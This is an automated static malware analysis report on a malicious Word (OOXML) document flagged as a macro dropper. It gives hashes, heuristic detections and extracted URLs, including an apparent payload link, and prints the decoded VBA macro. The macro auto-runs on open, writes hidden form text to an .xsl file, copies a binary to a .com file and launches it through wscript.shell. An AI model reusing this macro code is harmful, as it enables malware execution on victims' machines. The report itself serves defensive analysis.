Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0bdbbae823cd85ad…

MALICIOUS

Office (OOXML)

82.1 KB Created: 2021-01-25 10:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-19
MD5: 76fc49ead3150533827ef87d9c0ddedd SHA-1: 3ced0b5dfe974d23fa2d0095452754f631bbac70 SHA-256: 0bdbbae823cd85addb0f147f887d4b936b27cb3a6f2ea3d5cee5d82f056b9727
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823794-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823794-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set atB2T1 = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set atB2T1 = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adplace1.com/assets/bd810d/2a/3/f9bc3857d2ce07c7905bd8598fee91b9/lxgo17?nzb=a27a3a32&ye=62c1dc&uv=71ef217140cf77b9&ssclr=1e9cda79 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/XSL/TransformIn document text (OOXML body / shared strings)
    • https://microsoft.com/xxxIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1318 bytes
SHA-256: 0311fa4cde836e5984a0a9a9f2fb06f0bc83b4092c5d13dd7d0b3c0fa2b87f95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{706D53F2-A7E7-49E0-ABC2-EFB2456616B6}{8BE9FC8B-38B7-4C37-96D4-DE74E2FEE6FF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aF4jWT"
Function aRlMyx(aq6QU)
With ActiveDocument
aRlMyx = .BuiltInDocumentProperties(aq6QU)
End With
End Function
Sub AutoOpen()
a6Ymt5
End Sub

Attribute VB_Name = "aiCPyq"
Function aNUI1(aMPmj5)
End Function
Sub a6Ymt5()
Dim amE2ak As String
amE2ak = Chr(34)
a4ljwa = frm.textbox1.text
aDZkV = frm.textbox2.text
aw4KNR = aDZkV & "\m1.xsl"
a6OaY = aDZkV & "\m1.com"
aSpxju = frm.textbox3.text
aix4p aw4KNR, a4ljwa
FileCopy aSpxju, a6OaY
Set atB2T1 = CreateObject("wscript.shell")
atB2T1.run a6OaY & aRlMyx("comments") & amE2ak & aw4KNR & amE2ak
End Sub
Sub aix4p(aHnID, a4ljwa)
Open aHnID For Output As #1
Print #1, a4ljwa
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 5d17842224b28d282822266f22f996f7a06c1a05b1261ec935844e2baabeff7e

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